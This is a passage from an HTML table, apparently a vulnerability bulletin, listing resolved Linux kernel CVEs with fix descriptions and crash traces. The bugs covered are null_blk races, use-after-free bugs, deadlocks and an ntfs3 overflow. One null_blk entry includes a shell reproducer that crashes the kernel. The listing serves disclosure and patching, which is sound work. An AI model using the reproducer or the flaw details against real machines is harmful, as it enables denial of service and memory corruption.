&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90184&quot; target=&quot;_blank&quot;&gt;CVE-2026-90184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: null_blk: serialize configfs attribute stores with the lock The NULLB_DEVICE_ATTR _store takes no lock: apply_fn attributes (submit_queues, poll_queues) get dev-&amp;gt;NAME written again after apply_fn returns, outside its lock; APPLY=NULL attributes are entirely lockless. configfs only serializes stores per-open-file, so concurrent stores on separate fds race. For apply_fn attributes, once one store&#039;s apply_fn has reconfigured the hardware, a second (losing) store can still overwrite dev-&amp;gt;NAME afterwards. This leaves dev-&amp;gt;submit_queues out of sync with the live queue count, which is later caught by the WARN_ON_ONCE() in null_map_queues(). For !apply_fn attributes, power_store()&#039;s null_add_dev() validates and builds the device under &quot;lock&quot; but only sets CONFIGURED afterwards. A store slipping in during this window can change a field mid-setup -- for example, zone_nr_conv can be pushed above nr_zones after it has already been clamped, leading to an out-of-bounds dev-&amp;gt;zones[] access. Take &quot;lock&quot; in the macro around the apply_fn call, the CONFIGURED test and the field write, and move it out of nullb_apply_submit_queues()/ nullb_apply_poll_queues() so both paths are covered once. This serializes stores with power_store&#039;s setup and with each other.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90185&quot; target=&quot;_blank&quot;&gt;CVE-2026-90185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: null_blk: reject per-device queue resize for shared tag set When shared_tags is enabled, null_setup_tagset() makes the device use the global tag_set, whose driver_data stays NULL. null_map_queues() therefore falls back to the module-wide g_submit_queues/g_poll_queues instead of any per-device value. Resizing submit_queues or poll_queues via configfs on such a device calls blk_mq_update_nr_hw_queues() on the shared set, shrinking set-&amp;gt;nr_hw_queues. __blk_mq_realloc_hw_ctxs() only grows the q-&amp;gt;queue_hw_ctx[] allocation, so on shrink it merely exits and NULLs the now-excess hctx slots. null_map_queues(), however, keeps mapping CPUs with the unchanged g_submit_queues/g_poll_queues, so mq_map[] ends up pointing at those NULLed hctx slots. blk_mq_map_swqueue() then dereferences the NULL hctx (hctx-&amp;gt;cpumask), crashing the kernel: [ 460.218374] KASAN: null-ptr-deref in range [0x0000000000000098-0x000000000000009f] [ 460.219003] CPU: 24 UID: 0 PID: 1492 Comm: sh Not tainted 7.2.0-rc2+ #67 PREEMPT(full) [ 460.219792] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc41 04/01/2014 [ 460.220452] RIP: 0010:blk_mq_map_swqueue+0x4db/0x1430 ...... [ 460.228977] Call Trace: [ 460.229175] &amp;lt;TASK&amp;gt; [ 460.229354] blk_mq_update_nr_hw_queues+0xd49/0x11c0 [ 460.229779] ? __pfx_blk_mq_update_nr_hw_queues+0x10/0x10 [ 460.230200] nullb_update_nr_hw_queues+0x1a9/0x370 [null_blk] [ 460.230694] nullb_device_submit_queues_store+0xd9/0x170 [null_blk] [ 460.231190] ? __pfx_nullb_device_submit_queues_store+0x10/0x10 [null_blk] [ 460.231776] ? configfs_write_iter+0x35c/0x4e0 [ 460.232122] configfs_write_iter+0x286/0x4e0 [ 460.232460] vfs_write+0x52d/0xd00 [ 460.232779] ? __x64_sys_openat+0x108/0x1d0 [ 460.233106] ? __pfx_vfs_write+0x10/0x10 [ 460.233413] ? fdget_pos+0x1cf/0x4c0 [ 460.233745] ? fput_close+0x133/0x190 [ 460.234038] ? __pfx_expand_files+0x10/0x10 [ 460.234368] ksys_write+0xfc/0x1d0 Reproducer: modprobe null_blk shared_tags=1 submit_queues=64 poll_queues=1 mkdir /sys/kernel/config/nullb/dev echo 1 &amp;gt; /sys/kernel/config/nullb/dev/power echo 1 &amp;gt; /sys/kernel/config/nullb/dev/submit_queues A per-device resize of a shared tag set is meaningless anyway, so reject it with -EINVAL in nullb_update_nr_hw_queues() when the device is bound to the global tag_set.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90186&quot; target=&quot;_blank&quot;&gt;CVE-2026-90186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: null_blk: free zones array on device power-off null_init_zoned_dev() allocates dev-&amp;gt;zones when a zoned device is powered on, but null_del_dev() never frees it on power-off; dev-&amp;gt;zones is only freed later in null_free_dev(), when the configfs directory is removed. If the device is powered off and then on again, null_init_zoned_dev() allocates a new array and overwrites the dev-&amp;gt;zones pointer, leaking the previous allocation each power cycle. Free dev-&amp;gt;zones in null_del_dev() via null_free_zoned_dev() to solve it. And calling null_free_zoned_dev() in null_free_dev() is no longer necessary because every caller already invokes null_del_dev() first: via nullb_group_drop_item() before nullb_device_release(), in the null_add_dev() error path of null_create_dev(), and in null_destroy_dev(). Remove the redundant call. And take &amp;amp;lock around zone_cond_store() in the two store wrappers to serialize dev-&amp;gt;zones check-and-deref against its alloc/free, which already run under &amp;amp;lock. The reason there was no problem before is that only nullb_device_release() or null_exit() frees the dev-&amp;gt;zones, which guarantees that subsequent users won&#039;t access the configfs interface.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90187&quot; target=&quot;_blank&quot;&gt;CVE-2026-90187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: null_blk: free global tag_set on init error path If shared_tags is enabled, null_setup_tagset() allocates the global tag_set via null_init_global_tag_set(). If device creation later fails, err_dev destroys the default devices and calls unregister_blkdev(), but never frees the global tag_set. Since module init failed, null_exit() is never invoked, so the global tag_set&#039;s tags and maps are permanently leaked. Free the global tag_set in err_dev, matching null_exit() which does if (tag_set.ops) blk_mq_free_tag_set(&amp;amp;tag_set).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90188&quot; target=&quot;_blank&quot;&gt;CVE-2026-90188&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: null_blk: register configfs subsystem after creating default devices In null_init(), configfs_register_subsystem() currently runs before register_blkdev(), so when null_blk is built as a module, a racing mkdir() + poweron from userspace can reach null_add_dev() while null_major is still 0. __add_disk() then hits WARN_ON(disk-&amp;gt;minors) (major=0 with minors!=0) and fails: [root@fedora ~]# [ 2366.521436] WARNING: block/genhd.c:476 at __add_disk+0x8a7/0xde0, [ 2366.523552] Modules linked in: null_blk(+) nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib [ 2366.529081] CPU: 26 UID: 0 PID: 1600 Comm: sh Not tainted 7.2.0-rc1+ #66 PREEMPT(full) ...... [ 2366.547251] Call Trace: [ 2366.547575] &amp;lt;TASK&amp;gt; [ 2366.547831] ? _raw_spin_lock+0x84/0xe0 [ 2366.548260] add_disk_fwnode+0x114/0x560 [ 2366.548739] null_add_dev+0x102d/0x1b80 [null_blk] [ 2366.549310] ? __pfx_null_add_dev+0x10/0x10 [null_blk] [ 2366.549906] ? mutex_lock+0xde/0x1c0 [ 2366.550361] ? __pfx_mutex_lock+0x10/0x10 [ 2366.550827] nullb_device_power_store+0x1e7/0x280 [null_blk] [ 2366.551499] ? __pfx_nullb_device_power_store+0x10/0x10 [null_blk] [ 2366.552177] ? __kmalloc_cache_noprof+0x1f5/0x470 [ 2366.552748] ? configfs_write_iter+0x35c/0x4e0 [ 2366.553242] configfs_write_iter+0x286/0x4e0 [ 2366.553787] vfs_write+0x52d/0xd00 [ 2366.554169] ? __pfx_vfs_write+0x10/0x10 [ 2366.554679] ? __pfx___css_rstat_updated+0x10/0x10 [ 2366.555196] ? fdget_pos+0x1cf/0x4c0 [ 2366.555649] ksys_write+0xfc/0x1d0 ...... Additionally, the err_dev path destroys all devices on nullb_list while configfs is still registered. If a racing mkdir() + poweron puts a user device on the list, null_destroy_dev()-&amp;gt;null_free_dev() kfrees the user device&#039;s nullb_device but /sys/kernel/config/nullb/&amp;lt;name&amp;gt; is still reachable. Any userspace access to the item will trigger a UAF. For simplicity, move configfs_register_subsystem() to the end to solve the problems above.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90189&quot; target=&quot;_blank&quot;&gt;CVE-2026-90189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: null_blk: use DEFINE_MUTEX for the file-scope mutex In null_init(), mutex_init(&amp;amp;lock) currently happens after configfs_register_subsystem(), which exposes the nullb subsystem to userspace. A racing mkdir() into /sys/kernel/config/nullb/ can reach null_find_dev_by_name() -&amp;gt; mutex_lock(&amp;amp;lock) before the mutex is initialized, trigger warning: [ 123.137788] DEBUG_LOCKS_WARN_ON(lock-&amp;gt;magic != lock) [ 123.137796] WARNING: kernel/locking/mutex.c:159 at mutex_lock+0x171/0x1c0, CPU#13: mkdir/1301 [ 123.140090] Modules linked in: null_blk(+) nft_fib_inet nft_fib_ipv4 ...... [ 123.154926] Call Trace: [ 123.155172] &amp;lt;TASK&amp;gt; [ 123.155419] ? __pfx_mutex_lock+0x10/0x10 [ 123.156181] ? __pfx__raw_spin_lock+0x10/0x10 [ 123.156571] nullb_group_make_group+0x20/0x100 [null_blk] [ 123.157011] configfs_mkdir+0x47b/0xc70 [ 123.157337] ? __pfx_configfs_mkdir+0x10/0x10 [ 123.157719] ? may_create_dentry+0x242/0x2e0 [ 123.158061] vfs_mkdir+0x2a9/0x6c0 [ 123.158352] filename_mkdirat+0x3dc/0x500 [ 123.158710] ? __pfx_filename_mkdirat+0x10/0x10 [ 123.159070] ? strncpy_from_user+0x3a/0x1d0 [ 123.159413] __x64_sys_mkdir+0x6b/0x90 [ 123.159760] do_syscall_64+0xea/0x600 Replace the runtime mutex_init(&amp;amp;lock) with a static DEFINE_MUTEX(lock) declaration to fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90190&quot; target=&quot;_blank&quot;&gt;CVE-2026-90190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mailbox: qcom-cpucp: handle NULL data in send_data callback mailbox_clear_channel() calls mbox_send_message() with NULL data to notify the remote side that the RX channel has been cleared. qcom_cpucp_mbox_send_data() blindly dereferenced the data pointer, causing a NULL pointer dereference kernel panic when invoked from this path under PREEMPT_RT. Add an explicit NULL check and return early without writing to the TX register, which is the correct behaviour for a channel-clear notification.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90192&quot; target=&quot;_blank&quot;&gt;CVE-2026-90192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mailbox: qcom-cpucp: fix PREEMPT_RT self-deadlock in IRQ handler qcom_cpucp_mbox_irq_fn() calls mbox_chan_received_data() while holding chan-&amp;gt;lock. Under PREEMPT_RT, spin_lock_irqsave() is converted to an rt_spinlock (rtmutex-based), which tracks ownership and can sleep. The callback chain triggered by mbox_chan_received_data() eventually reaches mailbox_clear_channel() -&amp;gt; mbox_send_message() -&amp;gt; add_to_rbuf(), which attempts to re-acquire the same chan-&amp;gt;lock. Since rtmutex detects the re-entrant lock attempt by the same owner, the thread blocks waiting for a lock it already holds, causing a permanent deadlock. This deadlock manifests as &#039;irq/N-apss_cpucp_mbox&#039; stuck in D state with the following call trace: rt_spin_lock -&amp;gt; mbox_send_message -&amp;gt; mailbox_clear_channel -&amp;gt; scmi_rx_callback -&amp;gt; mbox_chan_received_data [&amp;lt;- held chan-&amp;gt;lock here] Fix by saving chan-&amp;gt;cl locally and clearing the HW interrupt register inside the lock, then invoking mbox_chan_received_data() after releasing the lock. This preserves the mutual exclusion for chan-&amp;gt;cl access while avoiding the lock re-entrancy that causes the PREEMPT_RT deadlock.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90193&quot; target=&quot;_blank&quot;&gt;CVE-2026-90193&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: scan: fix bus ID cleanup on device_add() failures When device_add() fails after acpi_device_set_name() has allocated an instance ID and a new acpi_device_bus_id has been linked into acpi_bus_id_list, the rollback path only removes wakeup_list and detaches the ACPI handle data. That leaves the bus-ID bookkeeping behind and keeps the allocated instance number consumed. Move the bus-ID cleanup and wakeup-list removal into a single helper. Use it from both the normal device teardown path and the device_add() rollback path. The wakeup list node is initialized before registration, so it can be deleted without checking whether the device is wakeup- capable like in the original teardown path. [ rjw: Rename acpi_device_del_list() to acpi_device_cleanup() ] [ rjw: Subject and changelog edits ]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90194&quot; target=&quot;_blank&quot;&gt;CVE-2026-90194&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: riscv, bpf: Fix missing sign-ext for signed 1-byte and 2-byte kfunc args On RV64, the ABI requires sign-extension for signed 1-byte and 2-byte kfunc args. However, the RV64 JIT currently does not perform sign-extension for such kfunc args. Before commit 7ce090afbf72 (&quot;bpf: Infer zext_dst based on static register liveness analysis&quot;), state pruning could potentially omit zero-extension of 32-bit subregisters, which inadvertently masked the above issue by making the args appear as if they had been properly sign-extended. After that commit, the problem is exposed, causing the kfunc_call/kfunc_call_test4 selftest to fail. Fix this by extending the existing sign-extension logic to handle signed 1-byte and 2-byte kfunc args as well.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90195&quot; target=&quot;_blank&quot;&gt;CVE-2026-90195&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: SOF: validate topology volume range before allocation SOF treats the topology mixer min and max values as non-negative indices into its volume table. It stores them in signed fields, allocates max + 1 entries through an int argument, and later indexes the table with the stored range. An inverted range is invalid, while a maximum at or above INT_MAX cannot be represented safely after the increment or in the signed fields. Validate the complete range before storing it or allocating the table.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90196&quot; target=&quot;_blank&quot;&gt;CVE-2026-90196&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: haptic: don&#039;t write an uninitialized value to unhandled usages fill_effect_buf() initializes value only for the four haptic usages handled by its switch, but writes it to field-&amp;gt;value[] for every usage. An unhandled usage can therefore receive either an uninitialized value or one left over from the previous usage. hid_output_report() then serializes that value into the effect&#039;s report buffer. Skip unhandled usages instead. This also matches switch_mode(), which only updates fields it recognizes. Found with Clang&#039;s -Wconditional-uninitialized.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90197&quot; target=&quot;_blank&quot;&gt;CVE-2026-90197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: core: Fix use-after-free in snd_card_do_free() A use-after-free was detected in snd_card_do_free() when a sound card managed by devres is unbound while a user-space application still holds an open file descriptor. For managed cards, the memory is allocated using devres_alloc(), and its release function is set to __snd_card_release(), which calls snd_card_free(). When the device is unbound, the unbind thread calls snd_card_free(), which drops a reference to the card&#039;s device. If the user thread still has an open file descriptor, the reference count does not reach zero, and the unbind thread blocks on wait_for_completion(&amp;amp;released). When the user thread closes the file descriptor, it drops the final reference, invoking the device release callback release_card_device(), which calls snd_card_do_free(). snd_card_do_free() performs cleanup and calls complete(card-&amp;gt;release_completion). This wakes up the unbind thread, which returns from snd_card_free() and __snd_card_release(). The devres core then immediately frees the memory block containing the snd_card structure. Meanwhile, the user thread continues execution in snd_card_do_free() and evaluates `if (!card-&amp;gt;managed)`. It reads the `managed` boolean from the snd_card structure that was just freed by the unbind thread, triggering a KASAN use-after-free. Fix this by caching the value of card-&amp;gt;managed in a local variable before calling complete(). This ensures that the card pointer is not dereferenced after the unbind thread has been woken up and potentially freed the card. BUG: KASAN: use-after-free in snd_card_do_free sound/core/init.c:604 [inline] BUG: KASAN: use-after-free in release_card_device+0x1ab/0x1b0 sound/core/init.c:153 Read of size 1 at addr ffff8881912ec909 by task syz-executor130/5857 Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120 print_address_description+0x55/0x1e0 mm/kasan/report.c:378 print_report+0x58/0x70 mm/kasan/report.c:482 kasan_report+0x117/0x150 mm/kasan/report.c:595 snd_card_do_free sound/core/init.c:604 [inline] release_card_device+0x1ab/0x1b0 sound/core/init.c:153 device_release+0xc4/0x1f0 drivers/base/core.c:-1 kobject_cleanup lib/kobject.c:689 [inline] kobject_release lib/kobject.c:720 [inline] kref_put include/linux/kref.h:65 [inline] kobject_put+0x222/0x550 lib/kobject.c:737 snd_card_file_remove+0x331/0x390 sound/core/init.c:1125 snd_pcm_release+0x12c/0x160 sound/core/pcm_native.c:2986 __fput+0x418/0xa50 fs/file_table.c:512 fput_close_sync+0x11f/0x240 fs/file_table.c:617 __do_sys_close fs/open.c:1511 [inline] __se_sys_close fs/open.c:1496 [inline] __x64_sys_close+0x7e/0x110 fs/open.c:1496 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f &amp;lt;/TASK&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90198&quot; target=&quot;_blank&quot;&gt;CVE-2026-90198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix integer overflow in MFT cluster validation In ntfs_init_from_boot(), the boot sector&#039;s MFT cluster numbers are validated against the volume size with: if (mlcn * sct_per_clst &amp;gt;= sectors || mlcn2 * sct_per_clst &amp;gt;= sectors) goto out; mlcn and mlcn2 are u64 fields read directly from the boot sector. sct_per_clst is bounded above by 4096 (true_sectors_per_clst() plus the is_power_of_2() check below it), but the multiplication is done in u64 and wraps when mlcn (or mlcn2) is large enough -- e.g. mlcn near 2^62 with sct_per_clst == 4 wraps to 0, which compares below any non-zero &#039;sectors&#039;, so the check is bypassed and the malformed record is accepted. The accepted mlcn is then used unchanged in sbi-&amp;gt;mft.lbo = mlcn &amp;lt;&amp;lt; cluster_bits; In practice the resulting reads fail at the block layer (sb_bread() returns NULL via grow_buffers()&#039;s check_mul_overflow() guard), so today this manifests as mount failing in odd places rather than as something more dangerous, but the validation step is still wrong and there is no reason for callers to rely on the block layer to catch a value that should never have been accepted in the first place. Use check_mul_overflow() to compute the two sector positions and fail the mount if either multiplication wraps; this preserves the existing semantics (mlcn * sct_per_clst &amp;gt;= sectors) instead of switching to division (mlcn &amp;gt;= sectors / sct_per_clst), which would tighten the check at edge cases where &#039;sectors&#039; is not a multiple of sct_per_clst. The check_*_overflow() style is the one ntfs3 already uses for similar on-disk arithmetic in fs/ntfs3/run.c.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90200&quot; target=&quot;_blank&quot;&gt;CVE-2026-90200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: page_pool: fix UAF in __page_pool_release_netmem_dma on xa_cmpxchg race This bug was discovered while testing the hns3 driver under channel reconfiguration (`ethtool -L` / `ethtool -G`) with iperf3 traffic on arm64. The race is intermittently triggered when page_pool_destroy() runs page_pool_scrub() concurrently with page return via page_pool_put_netmem() on a different CPU. A WARN in page_pool_clear_pp_info() surfaced the dangling DMA index bits left by the cmpxchg loser, which led to the investigation. page_pool_scrub() iterates pool-&amp;gt;dma_mapped via xa_for_each() with no page ref held. __page_pool_release_netmem_dma() currently reads and writes netmem fields (dma_addr, DMA index bits in pp_magic) after xa_cmpxchg() returns. The unref path calls put_page() unconditionally regardless of the cmpxchg outcome; when it loses the cmpxchg, it still frees the page before the scrub winner finishes these netmem accesses, so scrub touches a freed page -- a Use-After-Free. Fix this by splitting the DMA release into two functions: 1. __page_pool_unmap_netmem_dma() caches dma_addr before xa_cmpxchg(), does the cmpxchg to remove the DMA mapping, and calls dma_unmap on the cached address. It never touches netmem fields after the cmpxchg, making it safe for the scrub path which holds no page ref. 2. __page_pool_release_netmem_dma() wraps the above and additionally clears dma_addr and DMA index bits in netmem fields. This is safe only when the caller holds a page ref, so it is used by the return path (page_pool_return_netmem). The scrub path calls __page_pool_unmap_netmem_dma() directly; the return path calls __page_pool_release_netmem_dma().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90201&quot; target=&quot;_blank&quot;&gt;CVE-2026-90201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: mpt3sas: Avoid freeing unallocated PCIe SGL buffers _base_release_memory_pools() unconditionally frees every ioc-&amp;gt;pcie_sg_lookup[] entry, including ones the setup loop never allocated after a partial failure, causing a &quot;bad dma&quot; warning on debug kernels or a NULL pointer dereference otherwise.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90202&quot; target=&quot;_blank&quot;&gt;CVE-2026-90202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet: fix max_qid race between configfs and controller allocation The function nvmet_subsys_attr_qid_max_store() can race against nvmet_alloc_ctrl() when a subsystem&#039;s max_qid limit is modified. Suppose max_qid is currently 64. If nvmet_alloc_ctrl() executes: ctrl-&amp;gt;sqs = kzalloc_objs(struct nvmet_sq *, subsys-&amp;gt;max_qid + 1); and at this exact point, a userspace process changes max_qid to 128, nvmet_subsys_attr_qid_max_store() will set the new max_qid value. It attempts to delete active controllers to force a reconnect, but the new controller won&#039;t be deleted because it hasn&#039;t been added to the subsys-&amp;gt;ctrls list yet. nvmet_alloc_ctrl() then proceeds and adds the new controller to the subsys-&amp;gt;ctrls list. Later, when nvmet_install_queue() is called, it will see max_qid set to 128, but the memory allocated for sqs is only sized for 64 entries. This results in a KASAN out-of-bounds warning and potential memory corruptions. Fix this by protecting the queue allocations and list insertion in nvmet_alloc_ctrl() with down_read(&amp;amp;nvmet_config_sem). Because nvmet_subsys_attr_qid_max_store() acquires down_write(&amp;amp;nvmet_config_sem) to modify the attribute, this safely prevents the configfs writer from modifying max_qid during controller creation. Copy the max_qid from the subsystem to the controller&#039;s structure during the allocation; ctrl-&amp;gt;max_qid never changes as long as the controller remains in LIVE state, so this will prevent similar race conditions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90206&quot; target=&quot;_blank&quot;&gt;CVE-2026-90206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clocksource/drivers/samsung_pwm: Switch to raw_spinlock_t type Samsung PWM timer might be used as a clock source on some legacy systems. When PREEMPT_RT is enabled on ARM, regular spinlock is converted to a sleeping lock (mutex-based), which must not be used in atomic context such as hard interrupt handlers. Switch the samsung_pwm_lock to the raw_spinlock, which remains a true non-sleeping spinlock even under PREEMPT_RT.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90208&quot; target=&quot;_blank&quot;&gt;CVE-2026-90208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/debug: Fix deadlock during unregister Unregistering an s390dbf debug area while one of the associated debugfs files is being written to can cause a deadlock: $ echo &amp;gt;.../vmur/level $ rmmod vmur =================================================== debugfs write debugfs_file_get() debug_unregister() mutex_lock(debug_mutex) debugfs_remove() wait for debugfs_file_put() debug_file_ops.write() debug_input() mutex_lock(debug_mutex) ==&amp;gt; DEADLOCK Fix this by splitting debug_unregister() into an s390dbf and debugfs part, and running only the s390dbf part with debug_mutex locked.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90209&quot; target=&quot;_blank&quot;&gt;CVE-2026-90209&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
